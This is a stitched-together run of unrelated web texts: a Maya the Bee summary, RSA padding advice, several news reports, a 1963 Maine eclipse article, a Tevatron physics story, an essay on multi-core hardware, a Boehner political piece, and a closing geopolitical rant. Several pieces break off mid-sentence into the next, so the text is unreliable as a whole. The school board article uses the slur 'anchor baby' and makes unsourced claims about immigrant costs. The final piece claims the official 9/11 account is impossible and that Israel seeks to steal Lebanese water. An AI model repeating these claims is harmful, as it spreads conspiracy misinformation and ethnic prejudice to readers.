The stories revolve around a little bee named Maya and her friends Willy the bee, Flip the grasshopper (referred to as "Maja", "Willi" and "Philip" respectively in some versions), Mrs. Cassandra (Maya's teacher), and many other insects and other creatures. The book depicts Maya's development from an adventurous youngster to a responsible adult member of bee society.
Plot [ edit ]
Bonsels' original book contains fewer than 200 pages. The storyline is centered on the relation of Maya and her many adventures.
Maya is a bee born in a bee hive during internal unrest: the hive is dividing itself into two new colonies. Maya is raised by her teacher, Mrs. Cassandra. Despite Mrs. Cassandra's warnings, Maya wants to explore the wide world and commits the unforgivable crime of leaving the hive. During her adventures, Maya, now in exile, befriends other insects and braves dangers with them. In the climax of the book, Maya is taken prisoner by hornets, the bees' sworn enemies.
Prisoner of the hornets, Maya learns of a hornet plan to attack her native hive. Maya is faced with the decision to either return to hive and suffer her due punishment, saving the hive, or leaving the plan unannounced, saving herself but destroying the hive. After severe pondering, she makes the decision to return. In the hive, she announces the coming attack and is, totally unexpectedly, pardoned. The forewarned bees triumph over the hornet attack force. Maya, now a heroine of the hive, becomes a teacher like Mrs. Cassandra and shares her experiences and wisdom with the future generation.
Analysis of the book [ edit ]
It has been suggested by a modern critic[who?] that the book may have carried a political message, analogous to Jean de La Fontaine's or Ivan Krylov's work. According to this view, Maya represents the ideal citizen, and the beehive represents a well-organised militarist society. It has also elements of nationalism and speciesism. Maya gets angry in two instances. First, a grasshopper fails to distinguish between bees and wasps. Maya's verbal response includes calling the wasps "a useless gang of bandits" [Räubergeschlecht] that have no "home or faith" [Heimat und Glauben]. Second, a fly calls Maya an idiot, which prompts Maya to shout that she's going to teach "respect for bees" and to threaten the fly with her stinger. The critic interprets this to mean that respect is based on the threat of violence. Collectivism versus individualism is also a theme. Maya's independence and departure from the beehive is seen as reproachable, but it is atoned by her warning of the hornets' attack. This show of loyalty restores her position in the society. In the hornet attack part of the story, the bees' will to defend and the heroic deaths of bee officers are glorified, often in overtly militarist tones.[8]
In the post-WWII adaptations, the militarist element was toned down considerably, the hornets' role reduced, and the character of Willy, a lazy and quite un-warlike drone bee, was introduced (he does not appear in the novel). In the cartoon series,
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even to the same recipient. For signatures, it is more secure to randomize the padding as in RSASSA-PSS, but it is not yet fatal for legacy systems to continue to use PKCS #1 v1.5 signature padding, which is not randomized.
In public key crypto, padding is not an optional feature. It is a critical part of the cryptosystem security. The latest version of PKCS #1 (v2.1 as of this writing) should be used for both encryption/signing and decryption/verification. For new implementation, use the approaches that first appeared in v2.0 (RSAES-OAEP for encryption and RSASSA-PSS for signing). Failure to properly manage RSA armoring could allow attackers to forge signatures, decrypt ciphertext, or even recover your private key.Police handcuffs (Shutterstock.com)
A Miami police officer was suspended from duty after he reportedly yanked a 5-year-old boy’s ear and handcuffed him at school.
According to Miami’s Local10.com, parent Hector Feliciano said that Officer Paul Gourrier of the Miami Police Department seized his son by the ear and then handcuffed his hands behind his back after the boy bit another child in a dispute over a toy.
The incident took place on Feb. 9 and was the latest in a series of clashes between the two boys. Teacher Michelle Svayg took the child to guidance counselor Margarita Fernandez’ office for a meeting with the counselor Officer Gourrier.
Fernandez told police that the boy continued to misbehave in her office, treating the disciplinary meeting “as if everything was a joke.”
The counselor claims that she did not see the officer pull the boy’s ear, but that Gourrier asked the boy if he knew what would happen to him if he continued to attack other students.
When the child replied that he did not, Gourrier reportedly said, “Let me show you. I’m going to show you what happens so that you can understand.”
The officer put the boy in handcuffs and walked him out of the office, Fernandez said. When they returned in about two minutes, she said, the boy was no longer handcuffed.
A school security guard said that the officer marched the 5-year-old to the school’s main entrance and pointed to his police cruiser, explaining that if the child got into trouble for bothering other students again, he would go to jail.
Gourrier admits to handcuffing the child and “tugging” his ear to get his attention.
Hector Feliciano maintains that the school had no right to treat his son like an adult criminal. He told Channel 10 that if the school had informed him of the discipline issues, he would have handled them at home.
An internal investigation regarding Gourrier’s conduct followed and he has was suspended from duties without pay for 20 hours in June.The husband of Nova Scotia Immigration Minister Lena Diab has been charged with assault and uttering threats against the cabinet minister in relation to a New Year's Eve incident at the couple's Halifax home.
Lena Diab and two others were identified in court documents as the alleged victims. Maroun Diab was arraigned Tuesday in Halifax provincial court and will remain in custody until a court appearance Thursday.
Maroun Diab, 58, is accused of attempting to choke Lena Diab by putting both hands around her neck, assaulting her and threatening to cause her bodily harm or death.
Lena Diab and the office of Premier Stephen McNeil refused to comment, saying the incident is a personal matter.
Police called just before New Year's
Halifax police said officers were called to the home at 11:59 p.m. on Dec. 31 to an "assault not in progress."
"A 51-year-old woman said she was assaulted by a man known to her and that he had left the residence in a vehicle," said Const. Diane Penfound in a media release.
At 12:35 a.m., police arrested Maroun Diab on a traffic stop near Quinpool Road and Armview Avenue.
Penfound said Diab was jailed until taken to Halifax provincial court Tuesday to face five charges in total.
Lena Diab's May 2016 MLA disclosure statement lists Maroun Diab as her spouse. On Nov. 26, 2016, their joint ownership of 18 properties, valued at $4.3 million, was transferred from Lena and Maroun Diab to Lena Diab and Monica Diab under the Matrimonial Property Act.
The couple have operated a property rental business in Halifax. Her website says she has four children.By Isabel Currier
Photographs by Marion Bradshaw
From our July 1963 issue
B
ack in the autumn of 1961 an inquiry from some farsighted scientists reached the Chamber of Commerce in Bangor, Maine. A forthcoming total eclipse of the sun, it stated, would occur late in the afternoon of July 20, 1963. Although the path of visibility of the phenomenon would be 10,000 miles long, it would be so narrow as to cross merely a fraction of one percent of the total surface of the earth. In fact, within the United States the total eclipse would be visible only over a thin strip of Alaska and along a path 53 miles wide across the middle of Maine. Since Bangor was the largest community within that path, would its Chamber of Commerce kindly inform the writer about available sites for observing the event?
N. X. Dowd, the alert secretary of the Bangor Chamber of Commerce, had witnessed the total eclipse of 1932 — while on his honeymoon — in New York City’s Central Park. He remembered the strange twilight that enveloped the earth “while all traffic stopped, the silence was deafening, and not a single telephone call was made through any New York City switchboard during the time of eclipse.” Scurrying to the University of Maine to confirm the fact that Bangor and environs would be a Mecca for stargazers at the time of the total eclipse of 1963, Mr. Dowd exulted: “I’ll bet this brings 10,000 people to Bangor; we couldn’t buy such an opportunity for a million dollars!”
While a folder was being designed to present the advantages of Bangor as “the city where you should be to view the eclipse in sixty-three,” Carroll F. Merriam, a retired engineer in Prospect Harbor, Maine, was making observations of his own about Maine’s fortuitous role in the forthcoming supernal show. Mr. Merriam wrote a letter to Governor John H. Reed, pointing out that the total eclipse shadow would cut a swath across portions of eight counties in Maine and, traveling at a speed of over 3000 miles an hour, its central line would pass out to sea near Bar Harbor. Since the Maine cities and towns in the path of totality comprised the only heavily settled area in this country from which the eclipse might be viewed, Mr. Merriam concluded that “it is thus a blessing from heaven, and one of which we should take full advantage.”
In hearty concurrence, Governor Reed turned Mr. Merriam’s letter over to the Department of Economic Development. With Mr. Merriam and four scientists, representing each of Maine’s major colleges, as technical advisors, DED appointed Richard A. Hebert as coordinator to marshal Maine’s resources for entertaining thousands of professional and amateur astronomers, together with many more thousands of residents and summer visitors.
It quickly became evident that overall preparations for Maine’s moment of glory hadn’t started a bit too soon. From the first cautious estimate of probably 10,000 extra visitors who might choose to spend the July 20th weekend in the area of total eclipse, the figure mushroomed — along with a mounting flood of reservations. The latest expectation is that fully a quarter of a million people will surge into the Maine communities along the eclipse’s path of totality on July 20, and fully half of these will come from outside the state. In round numbers, this is comparable to more than the entire population of Alaska — the only other state where the total eclipse may be seen — moving en masse into a strip of Maine’s vacationIand.
The northern edge of the eclipse’s path runs from Armstrong, Quebec, southeasterly to Jonesport, passing through Milo and Columbia. Its southern boundary starts four miles northeast of the junction of the Maine, New Hampshire and Quebec borders, going out to sea through the town of Stonington on Deer Isle. But the central path – near which the full 59 seconds of the total eclipse may be observed — enters Maine in the remote northern reaches of Franklin County, crossing its first major settlement at Pleasant Pond and proceeding through Cambridge, Corinna, North Newport, Carmel, East Bucksport, West Ellsworth and Bar Harbor. The larger towns near the central path of the eclipse are the ones which have been laboring, for many months, to complete their hospitable arrangements. And their human efforts to measure up to the demands that will be made upon them have been slightly competitive but wholehearted.
For instance, the town of Dexter, “in the heart of Maine” and almost in the center of the eclipse’s totality belt, wasn’t even included on the first “eclipse map” prepared and sent out by DED. Yet Dexter was selected by eager observation groups from as far away as the Kitt Peak National Observatory in Tucson, Arizona, and as near at hand as the Hayden Planetarium in New York. At last count, fifteen separate parties, whose numbers strained the area’s limited hotel accommodations, had registered, and a special housing committee of the Dexter Development Association had placed the overflow in private homes. Some of the groups preferred to camp out, so 200 campsites also have been provided by the Dexter Fish & Game Association, and by a private lakefront owner, who has installed water and other essential facilities for the comfort of his guests.
Private owners of high, westward-facing land have registered their available sites of observation, and the town of Dexter has prepared a special map, including access roads, to aid visitors in reaching them. Also, the Citizens’ Band Club of radio hams has organized to broadcast viewing conditions at various points on the day of the eclipse, and to guide observation parties to favorable spots. In order to provide entertainment before and after the heavenly show, Dexter’s traditional 4th of July celebration is being held during the eclipse weekend — along with such extras as a fishing derby, barbecues, dances, and various get-togethers in true Maine style. The Grange, the churches, and other organizations will serve meals to supplement those offered by established public eating places.
Other communities also have planned special events for the weekend of the eclipse, such as Ellsworth’s eight-day bicentennial celebration. Still others have found it necessary to expand their facilities in unexpected ways. Skowhegan, for example, is setting up wire services for newsmen in the Skowhegan Armory. Bar Harbor is making similar arrangements for communications personnel, from all parts of the nation, who will trek to Maine to cover the eclipse. In Bangor, where most of the news reporters may be expected to concentrate, existing facilities of the several broadcasting stations and of the Bangor Daily News will be available.
There is a strong likelihood that the 1963 eclipse of the sun over Maine will be the first such phenomenon ever to be pictured on a TV network. DED’s Dick Hebert has been negotiating with at least one network which is interested in sending a transmitter plane above any possible cloud cover, so that its signals may be picked up from Portland, Montreal, or by Maine’s own communications satellite, Telstar 2, at Andover, and sent out over the telephone company’s microwave systems. This plan, incidentally, was proposed by Hebert’s secretary who remarked, when he fretted out loud about the possibility of rain obscuring the glory of the eclipse, “In that case, we’ll see it on TV!”
Overall arrangements for the State of Maine to receive at least 250,000 extra visitors on a normally busy summer weekend, have required intensive planning to insure a maximum of traffic safety. The State Highway Commission will endeavor to have essential repairs on major routes completed bv July 20 or, in any event, to get heavy construction machinery off the roadways cluring the eclipse weekend. Undoubtedly, many thousands of people will drive into the area of totality to view the eclipse, then return to their homes or hotels elsewhere.
However, visitors who plan to view the eclipse and to remain within the region of totality for the weekend or longer, should lose no time in reserving accommodations at the place of their choice.
At Bar Harbor — with Cadillac Mountain as an ideal viewing station, smack in the center of the path of the total eclipse — reservations for that weekend have been taken for motel accommodations and for campsites for over a year. Also, space is being booked in advance for scientific observers to have ringside seats on Cadillac Mountain. But the general public, planning to view the phenomenon from the mountain, must take their chances on a first come, first served basis. There is room for a maximum of 850 automobiles to park on the mountain itself and on one side of the road to the summit, but once these spaces are filled, later comers may ascend the mountain only on foot or, possibly, by special busses which may be provided to transport passengers from the base of Cadillac. Reckoned from present reservations, a minimum of 75,000 people are expected to view the eclipse from the Ellsworth-Bar Harbor area.
Those within or near the center of totality may view the total eclipse for the full 59-62 seconds allotted by nature. At Pleasant Pond Mountain near Caratunk, where the Harvard Observatory’s Sky and Telescope magazine delegation will record its studies of the total eclipse, there will be a full minute in which to do so, beginning at approximately 5:42–5:43 p.m. Eastern Daylight Time. At Orono, the period of totality will be just under one minute, but many observers, who are making the University of Maine their headquarters, will devote a number of days to related studies before and after the eclipse. Among these are Dr. James S. Haeger of the Florida State Board of Health and Dr. Erik T. Nielsen, internationally known entomologist from Denmark, whose researches will be directed at the swarming of mosquitoes in relation to the phenomenon. The largest single group to come to Maine for the event numbers about 1000 members, wives and guests of the Astronomical League, whose annual convention is being held at the University from July 15–21.
Although the zone of totality is roughly 53-55 miles wide, there will be only the briefest glimpse of the full spectacle on the outer edges of its path. At Clinton, for instance, in northeastern Kennebec County — and at Stonington, at the extreme southeastern point of passage — people will see a total eclipse, but only for ten to twenty seconds. Five or six miles deeper within the path, the total eclipse will last for as much as 58 seconds — just one second less than its duration at Bar Harbor. However, the full show — from the beginning of the partial phase until the moon finally passes beyond the sun’s outline — will be about two hours and five minutes.
In a pamphlet prepared for DED by Carroll F. Merriam in collaboration with the Maine Advisory Committee of college science professors, we are told that “all of Maine that is not actually in the path of totality will be so near the edge of the umbra at mid-eclipse that at least 98 percent of the sun’s light will be cut off. Only a thin crescent will remain visible. While this will be interesting to watch, it is only a side show compared with what those within the path will see. Persons living just outside the path of totality are warned not to be satisfied with seeing a nearly total eclipse. If they can be made to realize what they miss, it will be a source of regret the rest of their lives.”
Anyone who has witnessed a total eclipse of the sun is likely to find the most eloquent descriptions of the phenomenon inadequate. Mankind has been terrified, inspired, and instructed by this most awesome of astronomical spectacles since before the dawn of history.
A partial eclipse occurs when the black body of the moon, passing between the sun and earth, can be seen in stark contrast to the brilliant circle of the sun. (Primitive people thought that a partial eclipse was caused by a monster taking a bite out of the sun.) But during a total eclipse, the moon covers the entire body of the sun, which then displays the never-to-be-forgotten mysterious glow of its outer atmosphere.
No one should attempt to view the phenomenon with the naked eye, or through ordinary telescopes, field glasses or opera glasses, since serious damage to the retina of the eyes may result. A piece of smoked glass, over-exposed film, or polaroid glasses afford the best protection for the eyes. One suggestion is to break a cheap pair of polaroid glasses in two and look through both lenses, turning one with respect to the other to vary the density.
From favorable locations — on a westward-facing height, without obstructions — the approaching shadow cone may appear as an awesome storm cloud, which causes the temperature to drop as it rushes onward. Ghostly shadow bands, very like the ripples on a pond, may be visible on the ground. Another interesting ground effect may be seen in little round spots, if the light of the sun shines through foliage, each of which becomes a crescent image of the sun.
Then comes a fleeting phase known as Baily’s Beads, caused by the last rays of the sun shining through valleys of the surface of the moon. Baily’s Beads will be seen best by those who use crossed polaroid glasses, since the filter can be depressed as the total eclipse approaches. Just as the sun disappears or reappears, flame-like prominences of a reddish hue may be seen.
Finally, the corona appears — the outer atmosphere of the sun, glowing with strange luminosity around the dark body of the moon. The corona is seen as a complete ring around the sun because the sun, which is about 400 times larger in diameter than the moon, also happens to be about 400 times farther away, so that both bodies appear to be nearly the same size. Because of weather disappointments, it is estimated that during the last century scientists have had Iess than an hour to study the corona during eclipses. Even by laymen, it usually is remembered as the most marvelous of visible natural wonders.
During the course of a total eclipse, all nature becomes hushed. Although the darkness during an eclipse is comparable to that of the half light of a full moon, birds seek their roosts, and the brighter stars appear. Rather low and to the north of due west, the twin stars Castor and Pollux will be seen. Farther still to the left and higher in the sky will be Leo, the Lion, with the bright star Regulus in the handle of the Sickle. There will be two planets near the sun: Venus will be to the right and very low in the sky; Mercury will be higher than the sun and to the left. Mars will be in the south, having crossed the meridian shortly before the eclipse began. Neither Jupiter nor Saturn will be visible.
Maine will not be visited by another total eclipse of the sun within the next 200 years*, and it is possible that a future generation, preparing for a recurrence of the phenomenon, may enumerate the history-making data which will be derived from the eclipse of 1963 and find our elaborate preparations “quaint.” Nevertheless, the small individual Maine communities, claiming their important places in the sun’s eclipse, have earnestly and hospitably tried to put their best foot forward. And on July 20 they hope to demonstrate how wholeheartedly the State of Maine can share its vacationland advantages, even under phenomenal circumstances.
From our July 1963 issue.
* Turns out, Maine will experience a total solar eclipse on April 8, 2024.Los Angeles School Board Gets 174% Raise; Schools Still Among Worst In The Country
According to the LA Times, an “obscure city commission” just approved members of the Los Angeles Board of Education a whopping 174% raise, increasing their salary from $45,637 to $125,000.
This makes them some of the highest paid education board members in the country.
Additionally, part-time board members, who already earn a salary or receive compensation from elsewhere, will also get a pay bump from $26,437 to $50,000—a relatively modest increase of just 89%.
These raises were voted on, and approved unanimously by the seven-member LAUSD Board of Education Compensation Review Committee, who sets the compensation package for the Board every 5 years.
The reason for the raise? The Committee wanted to push board members’ salaries closer to the $191,000 a year that elected city councilors make.
Of course, actual teachers salaries pale in comparison to those of the bureaucrats. According to the LA Times:
For comparison, a first-year teacher currently earns at least $50,368. The average teacher salary is $75,350. The range for a principal’s salary is $83,000 to $138,000. L.A. schools Supt. Michelle King receives $350,000 a year. A board member’s chief of staff can earn up to $119,000 a year.
This massive wage increase will no doubt send shock waves throughout the education sector statewide, likely increasing pressure on other city councils to give egregiously large pay increases to their own board members.
This may also trigger increased wages for teachers, who have been lobbying for raises—with the support of many state legislators.
But realistically, California cannot afford to pay its teachers much more, since the state already pays billions to educate its massive illegal population. In fact, 1 in 5 students in California is an illegal immigrant or anchor baby, and they cost the state $17.4 billion to educate.
Also, California’s teachers (and board members) probably don’t deserve massive raises, certainly not in the neighborhood of 174%, since their education system is ranked 37th out of the 50 states in the country.
If Los Angeles or California really wanted to improve their education system, they would start by fighting back against illegal immigration, since they already have some of the most crowded classrooms in the country.Even as it's slated for retirement, Fermilab's Tevatron particle collider may be providing its successor, the Large Hadron Collider, with directions to some new physics. Recently, researchers with the Tevatron's CDF detector started discussing results that they submitted to the arXiv at the end of last year. The draft paper suggests that top quark pairs that originate in the proton-antiproton collisions at the Tevatron are showing an odd asymmetry, one that might be explained by a particle that should be detectable by the LHC. The big surprise: it's not one of the ones we expected to find there.
Like many other particle physics papers, the key to this one is separating out the relevant events from the background noise. In this case, the events researchers were looking for were collisions that produced top and antitop quarks (the top quark is the heaviest of the six quarks; only the lightest quarks make up the matter we're familiar with). Typically, these quarks tend to leave the collisions with a slight bias: top quarks prefer to travel in the direction of the proton, with the antitop going backwards relative to the proton. The bias is slight, but the Tevatron now has produced sufficient data (5.3 inverse femtobarns) that over 1,200 events that appeared to involve two top quarks were identified.
The authors then calculated the degree of asymmetry predicted by Quantum Chromodynamics. From the detector's perspective, they didn't. The observed asymmetry "has less than 1 percent probability of representing a fluctuation from zero, and is two standard deviations above the predicted asymmetry." But they also ran the calculations against the predictions based on the perspective of the quarks themselves; these showed an enhanced asymmetry, but still within the bounds of error of their measurements. So, based on this analysis, the results were somewhat mixed, but point to something going on.
But there was something else apparent in the data when analyzed from the quarks' reference frame. At low masses (indicating the quarks were part of a lower-energy collision), the data closely matched the calculated asymmetry. However, as the mass rose to closer to the Tevatron's limit, the divergence between the data and predictions increased. At the highest mass, the difference between the two was over three standard deviations, typically considered a significant result in these sorts of experiments. This suggests that whatever is driving this asymmetry, it's only produced in very high energy collisions.
Combined, the data strongly suggests that there's something strange going on with top-antitop quark production in higher energy collisions. The obvious question is what. The leading theoretical candidates aren't the usual sorts of things people talk about finding with the LHC, like a supersymmetric particle or the Higgs boson. Instead, the possibilities seem to be extra dimensions or exotic particles. "A number of theoretical papers suggest interesting new physics mechanisms," the authors note, "including axigluons, diquarks, new weak bosons, and extra-dimensions that can all produce forward-backward top-antitop asymmetries."
We had looked for axigluons, which are part of an alternative to the Standard Model, at the Tevatron previously, and did not come up with any. Diquarks shouldn't exist as independent particles, as far as we know. So, the possible causes of this asymmetry seem to be really exotic physics, pretty far removed from what we're currently focused on.
It will take the LHC a few years to build up to the amount of data that has been produced by the Tevatron, so we're unlikely to be able to detect a similar asymmetry there any time soon. However, LHC collisions are significantly more energetic than those at the Tevatron, meaning that it might be possible to detect the particle directly. In the meantime the Tevatron has more data that has yet to be analyzed, so it may provide a clearer picture soon.
Of course, there's still the chance that these results won't hold up as more data comes in. Still, it would be nice to think that the Universe has a bit of a surprise for us.
Although this paper has yet to go through peer review, the huge number of authors involved suggests that it's likely to be pretty reliable, as are other drafts in the field of particle physics.
Listing image by Particle ZooSAN ANTONIO (Reuters) - A woman was injured and her suspected shooter was arrested on Monday in what appeared to be an argument at the Fort Sam Houston Army Base in San Antonio, Texas, authorities said.
Army officials say the base was on lockdown for one hour after the incident around 2:50 p.m. local time (CST), but no one else was injured.
The woman, an active duty army member, was hospitalized but her condition was not released. Authorities did not name the suspect, who they said was a retired member of the military.
San Antonio Police Chief William McManus said the man got into an quarrel with a woman, who is in her mid-thirties. The two had a relationship, but he did not know what it was nor what prompted the altercation.
“It was not a random shooting,” he said.
The shooting took place outside a building used by the Army Medical Center and School, which trains medics for the Army and other services.
After the woman was shot, McManus said the suspect sped away, but then threw his gun out the window and abandoned his car on the army post, a sprawling base which is known as the nation’s center for military medicine.
A police helicopter located him walking on the base, and he was arrested without incident, authorities said.
“Now everything will be turned over the military,” McManus said.AT&T: Sony Ericsson Xperia X10 Officially Available For $149
Only about a week ago, Sony announced its latest Android smartphone device – the Sony Ericsson Xperia X10. The Xperia X10 is one of the high-end smartphones on AT&T’s network and compares favorably with the Samsung Captivate in terms of specs. As of August 15, the Xperia X10 is available through AT&T for $149.99 on a new two year agreement. The only complaint about the device, thus far, is the fact that it ships with Android 1.6. Nearly every major Android device ships with at least Android 2.1 and some (Motorola Droid 2) are even shipping with the latest Android 2.2. In terms of specs, the phone features a 4 inch touch screen, 1GHz Snapdragon processor, 8.1MP camera, and 2GB onboard memory. It even features native apps such as Timescape and Mediascape. Hopefully the device will be upgraded to a higher version of Android OS in the future, but for now, it’s a strong alternative to spending $199 on a top-notch Android smartphone.Multi-core, Threads & Message Passing
Moore's Law marches on, the transistor counts are continuing to increase at the predicted rate and will continue to do so for the foreseeable future. However, what has changed is where these transistors are going: instead of a single core, they are appearing in multi-core designs, which place a much higher premium on hardware and software parallelism. This is hardly news, I know. However, before we get back to arguing about the "correct" parallelism & concurrency abstractions (threads, events, actors, channels, and so on) for our software and runtimes, it is helpful to step back and take a closer look at the actual hardware and where it is heading.
Single Core Architecture & Optimizations
The conceptual architecture of a single core system is deceivingly simple: single CPU, which is connected to a block of memory and a collection of other I/O devices. Turns out, simple is not practical. Even with modern architectures, the latency of a main memory reference (~100ns roundtrip) is prohibitively high, which combined with highly unpredictable control flow has led CPU manufacturers to introduce multi-level caches directly onto the chip: Level 1 (L1) cache reference: ~0.5 ns; Level 2 (L2) cache reference: ~7ns, and so on.
However, even that is not enough. To keep the CPU busy, most manufacturers have also introduced some cache prefetching and management schemes (ex: Intel's SmartCache), as well as invested billions of dollars into branch prediction, instruction pipelining, and other tricks to squeeze every ounce of performance. After all, if the CPU has a separate floating point and an integer unit, then there is no reason why two threads of execution could not simultaneously run on the same chip - see SMT. Remember Intel's Hyperthreading? As another point of reference, Sun's Niagara chips are designed to run four execution threads per core.
But wait, how did threads get in here? Turns out, threads are a way to expose the potential (and desired) hardware parallelism to the rest of the system. Put another way, threads are a low-level hardware and operating system feature, which we need to take full advantage of the underlying capabilities of our hardware.
Architecting for the Multi-core World
Since the manufacturers could no longer continue scaling the single core (power, density, communication), the designs have shifted to the next logical architecture: multiple cores on a single chip. After all, hardware parallelism existed all along, so the conceptual shift wasn't that large - shared memory, multiple cores, more concurrent threads of execution. Only one gotcha, remember those L1, L2 caches we introduced earlier? Turns out, they may well be the Achilles' heel for multi-core.
If you were to design a multi-core chip, would you allow your cores to share the L1, or L2 cache, or should they all be independent? Unfortunately, there is one answer to this question. Shared caches can allow higher utilization, which may lead to power savings (ex: great for laptops), as well as higher hit rates in certain scenarios. However, that same shared cache can easily create resource contention if one is not careful (DMA is a known offender). Intel's Core Duo and Xeon processors use a shared L2, whereas AMD's Opteron, Athlon, and Intel's Pentium D opted out for independent L1's and L2's. Even more interestingly, Intel's recent Itanium 2 gives each core an independent L1, L2, and an L3 cache! Different workloads benefit from different layouts.
As Phil Karlton once famously said: "There are only two hard things in Computer Science: cache invalidation and naming things," and as someone cleverly added later, "and off by one errors". Turns out, cache coherency is a major problem for all multi-core systems: if we prefetch the same block of data into an L1, L2, or L3 of each core, and one of the cores happens to make a modification to its cache, then we have a problem - the data is now in an inconsistent state across the different cores. We can't afford to go back to main memory to verify if the data is valid on each reference (as that would defeat the purpose of the cache), and a shared mutex is the very anti-pattern of independent caches!
To address this problem, hardware designers have iterated over a number of data invalidation and propagation schemes, but the key point is simple: the cores share a bus or an interconnect over which messages are propagated to keep all of the caches in sync (coherent), and therein lies the problem. While, the numbers vary, the overall consensus is that after approximately 32 cores on a single chip, the amount of required communication to support the shared memory model leads to diminished performance. Put another way, shared memory systems have limited scalability.
Turtles all the way down: Distributed Memory
So if cache coherence puts an upper bound on the number of cores we can support within the shared memory model, then lets drop the shared memory requirement! What if, instead of a monolithic view of the memory, each core instead had its own, albeit much smaller main memory? Distributed memory model has the advantage of avoiding all of the cache coherency problems we listed above. However, it is also easy to imagine a number of workloads where the distributed memory will underperform the shared memory model.
There doesn't appear to be any consensus in the industry yet, but if one had to guess, then a hybrid model seems likely: push the shared memory model as far as you can, and then stamp it out multiple times on a chip, with a distributed memory interconnect - it is cache and interconnect turtles all the way down. In other words, while message passing may be a choice today, in the future, it may well be a requirement if we want to extract the full capabilities of the hardware.
Turtles all the way up: Web Architecture
Most interesting of all, we can find the exact same architecture patterns and their associated problems in the web world. We start with a single machine running the app server and the database (CPU and main memory), which we later split into separate instances (multiple app servers share a remote DB, aka'multi-core'), and eventually we shard the database (distributed memory) to achieve the required throughput. The similarity of the challenges and the approaches seems hardly like a coincidence. It is turtles all the way down, and it is turtles all the way up.
Threads, Events & Message Passing
As software developers, we are all intimately familiar with the shared memory model and the good news is: it is not going anywhere. However, as the core counts continue to increase, it is also very likely that we will quickly hit diminishing returns with the existing shared memory model. So, while we may disagree on whether threads are a correct application level API (see process calculi variants), they are also not going anywhere - either the VM, the language designer, or you yourself will have to deal with them.
With that in mind, the more interesting question to explore is not which abstraction is "correct" or "more performant" (one can always craft an optimized workload), but rather how do we make all of these paradigms work together, in a context of a simple programming model? We need threads, we need events, and we need message passing - it is not a question of which is better.Speaker of the House John Boehner is calling it quits in October, but don’t expect the Ohio Congressman to leave without a fight.
After a shocking caucus meeting this morning full of tears and sympathy for the departing Speaker, Boehner will now likely attempt to use the last of his remaining political capital to avoid a government shutdown.
That means contrary to the wishes of the House Freedom Caucus and other House Conservatives, Planned Parenthood would receive full funding.
The Planned Parenthood controversy has continued to rage after a series of videos exposing the outlet was released.
Ever since, the cries to defund the controversial group have grown louder and louder, undoubtedly a key reason Boehner has been in the hot seat more than ever lately.
Another hot topic in the halls of the House: the Import/Export Bank. One leading Dem says Boehner wants it passed.
“I think, in my discussions with the Speaker, that he believes that it ought to pass because I think he believes that it’s costing us jobs and economic opportunities,” said Steny Hoyer.
Just like Planned Parenthood funding, Conservatives vehemently oppose funding the controversial Ex/Im Bank-they believe it is pretty much a corporate welfare check and not the proper purpose of government.
Where will Boehner go from here? Many believe the Speaker will take a prominent role in the Presidential campaign of Jeb Bush.
Speaker Boehner was a strong advocate for Bush to jump in the race, and also has close personal ties to the Bush family. A surrogate role on behalf of Bush makes a lot of sense, and the Speaker could also help the former Florida Governor with fundraising.
According to The Hill: “It’s been a yearlong courtship, but no one quite knows if it will pay off.”
For the past year, Speaker John Boehner (R-Ohio) has been wooing his longtime friend Jeb Bush to jump into the 2016 presidential race, even as he has shunned potential Tea Party rivals like Sens. Ted Cruz of Texas and Rand Paul of Kentucky. Boehner stepped up his lobbying efforts this week, singing the former Florida governor’s praises in a pair of media interviews. The Speaker’s preference for yet another Bush White House run is partly political, partly personal. He sees Bush as undeniably the strongest, most viable candidate who could pull the party together after a bruising primary and take on a formidable Hillary Clinton, sources said. And the two men are aligned politically, hailing from the same centrist strand of the GOP. But politics is often personal, and much of Boehner’s desire for a third Bush presidency stems from his decades-long relationship with the Bush family, including Jeb.
No one knows how things will shake out in the coming weeks, but make no mistake-John Boehner doesn’t want to end his reign
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under his rule Iraq constituted a ZERO threat to the US. He had been a faithful vassal and attacked Iran for Washington, which had hopes of using Iraq to overthrow the Iranian government.
Removing secular leaders is what unleashes jihadism. Washington unleashed Muslim terrorism by regime change that murdered secular leaders and left countries in chaos.
Fomenting chaos in Iraq was the beginning for spreading chaos into Syria and then Iran. Syria and Iran support Hezbollah, the militia in southern Lebanon that has twice driven out the Israeli Army sent in to occupy southern Lebanon so that Israel could appropriate the water resources.
The neoconservatives’ wars against the Middle East serve to remove the governments that provide military and financial support to Hezbollah. By spreading jihadism closer to the Russian Federation, these wars coincide perfectly with the US neoconservative policy of US World Hegemony. As expressed by Paul Wolfowitz, US Undersecretary of Defense for Policy:
“Our first objective is to prevent the re-emergence of a new rival, either on the territory of the former Soviet Union or elsewhere, that poses a threat on the order of that posed formerly by the Soviet Union. This is a dominant consideration underlying the new regional defense strategy and requires that we endeavor to prevent any hostile power from dominating a region whose resources would, under consolidated control, be sufficient to generate global power.”
Israel wants Syria and Iran to join Iraq and Libya in American-induced chaos so that Israel can steal the water in southern Lebanon. If Syria and Iran are in chaos like Iraq and Libya, Hezbollah will not have the military and financial support to withstand the Israeli military.
The neoconservatives have broader aims than Israel’s. The neoconservatives want Syria and Iran in jihadist turmoil so that the neoconservatives can send jihadism into the Russian Federation and into China. China has a Muslim province that borders Kazakhstan. By causing internal problems for Russia and China, the neoconservatives can reduce Russia and China’s abilities to hinder US unilateralism.
That is what Syria is about. It is not about anything else.
The “Muslim threat” appeared suddenly with the 9/11 attack on the WTC and Pentagon. The attack was instantly blamed on Muslims. Although the US government maintained that it had no idea that such an attack was in the works, the US government knew instantly who did it. Quite clearly, it is impossible to know instantly who did an attack about which the government had no idea. In what has become the hallmark of every “terrorist attack,” IDs left at the scene conveniently identified the “terrorists.”
There are now 3,000 architects and engineers who put their reputation on the line by challenging the official story of the collapse of the WTC buildings. According to all known science, the official explanation of the destruction of the 3 highrise WTC buildings is strictly impossible. There is endless evidence online provided not by ignorant presstitutes, conspiracy theorists, and lying politicians, but by real experts. Just go to the Architects & Engineers for 9/11 Truth website, to the Firefighters and First responders for 9/11 Truth website, to the Pilots for 9/11 Truth website. Research what some foreign government officials have to say about the absurd story told by the US government. That any percentage of the US population believes the obvious false official 9/11 story is proof of the total failure of education in America. Much of the population is incapable of thought. People simply accept whatever the government tells them regardless of the absurdity of the explanation.
Where did the alleged “Muslim threat” come from? What produced it? 9/11 happened before Washington destroyed in whole or part seven Muslim countries, killing, maiming, orphaning, and displacing millions of Muslims who are now overrunning Washington’s vassal states in Europe. Such wars on innocents could produce terrorists, but 9/11 was prior to Washington’s wars against Muslims.
